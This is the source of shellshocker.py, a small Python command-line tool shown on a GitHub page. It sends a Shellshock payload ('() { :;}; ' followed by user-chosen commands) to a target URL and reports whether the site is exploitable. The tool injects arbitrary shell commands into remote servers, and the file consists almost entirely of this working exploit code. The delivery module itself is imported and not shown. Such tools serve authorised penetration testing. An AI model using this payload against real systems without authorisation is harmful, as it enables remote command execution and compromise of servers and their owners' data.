-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathshellshocker.py
More file actions
executable file
·62 lines (50 loc) · 2.02 KB
/
shellshocker.py
File metadata and controls
executable file
·62 lines (50 loc) · 2.02 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python
"""
ShellShocker CLI
================
The CLI for ShellShocker.
Interfaces to **shellshocker.exploits.ShellShocker**, a ShellShock exploiter
"""
from shellshocker.exploits import ShellShocker # Import a shellshock payload generator
# and delivery device.
import click # Click is Armin Ronacher's new CLI framework. It's awesomesauce.
@click.command()
@click.argument('url')
@click.option('-v', '--verbose', is_flag=True, help='Make the tester more verbose for debugging')
@click.option('-c', '--commands', help='Command to inject into the payload')
@click.option('-p', '--payload', type=click.Choice(['traditional', 'new']), help='Choose between the original bug and the new one')
def test_site(url, verbose, commands, payload):
"""
Test the URL `URL` for ShellShock vulnerability.
"""
click.echo("Testing {url} with a standard payload using ShellShocker".format(url=url))
if verbose:
click.echo("Creating instance of exploit on {url}".format(url=url))
if commands is not None:
click.echo("Using commands {commands}".format(commands=commands))
else:
click.echo("Using default commands")
if payload is not None:
click.echo("Using the {payload} payload".format(payload=payload))
else:
click.echo("Using default payload")
if payload == 'traditional':
payloadstring = '() {{ :;}}; {commands}'
elif payload == 'new':
raise NotImplementedError("Not supported yet")
else:
payloadstring = '() {{ :;}}; {commands}'
# Create a instance of the exploiter
shocker = ShellShocker({'url': url, 'commands': commands, 'payload': payloadstring})
if verbose:
shocker.verbose = True
if verbose:
click.echo("Sending exploit to {url}".format(url=url))
# Is it exploitable?
exploitable = shocker.exploitable()
click.echo(click.style("{url} is exploitable".format(url=url), fg="red") if exploitable else click.style("{url} is not exploitable".format(url=url), fg="green"))
if __name__ == '__main__':
"""
If this is being run as a script
"""
test_site()